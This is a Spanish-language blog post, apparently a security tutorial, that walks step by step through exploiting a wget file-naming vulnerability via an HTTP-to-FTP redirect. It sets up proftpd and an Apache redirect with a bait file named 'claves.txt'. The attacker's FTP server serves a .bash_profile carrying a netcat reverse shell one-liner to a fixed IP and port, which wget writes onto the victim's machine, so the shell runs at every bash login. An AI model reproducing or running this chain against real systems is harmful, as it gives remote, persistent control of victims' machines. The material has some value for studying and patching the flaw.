Buenas compañeros,
Esta semana leyendo las noticias encontramos que se ha publicado una vulnerabilidad en WGET que afecta hasta la versión 1.17.
Es el CVE que acompaña al titulo, la descripción nos dice;
En una redirección de HTTP a un recurso FTP, wget confia en el servidor HTTP y usa el nombre de archivo de la redirección como nombre destino.
Vamos a ver que necesitamos para plantear un escenario de explotación paso a paso.
Primero montar un servidor FTP que alojará el fichero que queremos que se descargue la victima.
Partiendo de una Kali, instalamos proftpd.
apt-get install proftpd-basic
Creamos el directorio raíz y le damos permisos para el usuario proftpd
cd /var/ mkdir ftp chown proftpd -R ftp/ cd ftp/ touch TEST
Creamos también un archivo TEST en la raíz y configuramos el servicio FTP.
Con una configuración básica será suficiente para la prueba.
DefaultRoot /var/ftp <Limit LOGIN> DenyAll </Limit> <Anonymous /var/ftp> User proftpd UserAlias anonymous proftpd RequireValidShell off <Limit LOGIN> AllowAll </Limit> </Anonymous>
Iniciamos el servicio FTP, service proftpd start y ya tenemos el servidor ftp. Vamos con Apache para crear la redirección.
Lo primero vamos a crear un archivo gancho, este es el que la victima creerá descargar.
Le vamos a poner el suculento nombre de claves.txt.
touch /var/www/html/claves.txt
Ahora configuramos una redirección simple en Apache que redirija las peticiones de claves.txt al archivo que hemos alojado en nuestro FTP.
nano /etc/apache2/sites-enabled/000 sites-enabled/000-default.conf
Finalmente reiniciamos Apache, service apache2 restart, para que cargue la nueva configuración y ya tenemos la trampa hecha.
Resultado
Cuando una victima haga wget sobre nuestro archivo claves.txt realmente descargará el archivo TEST del ftp.
Sacando provecho de la situación
Hemos visto que el problema reside en la falta de comprobaciones por parte de wget en el nombre destino, por lo que sabiendo que podemos
escribir en destino con un nombre arbitrario podemos intentar escribir algún archivo que interprete el sistema.
Como ".bash_login" y ".bash_profile" son archivos que ejecuta Bash cuando crea un nueva sesión parecen buenas opciones.
Manos a la obra, nos vamos a crear un archivo .bash_profile en el que vamos a incluir una Shell Reversa,
por ejemplo, con netcat.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.185 5151 >/tmp/f &
Guardamos como
.bash_profile en la raíz del ftp y modificamos nuestra redirección en
Apache para que apunte al nuevo archivo.
Reiniciamos Apache y levantamos un
netcat para recibir la conexión.
wget http://192.168.10.185/claves.txt [.bash_profile] |
Ahora cuando la
victima ejecute wget contra el archivo claves.txt se crea un
archivo .bash_profile con una Shell que se ejecutará en cada
inicio.
Referencias:
Obtenemos una Shell cuando se inicia bash en la victima |
Referencias:
No hay comentarios:
Publicar un comentario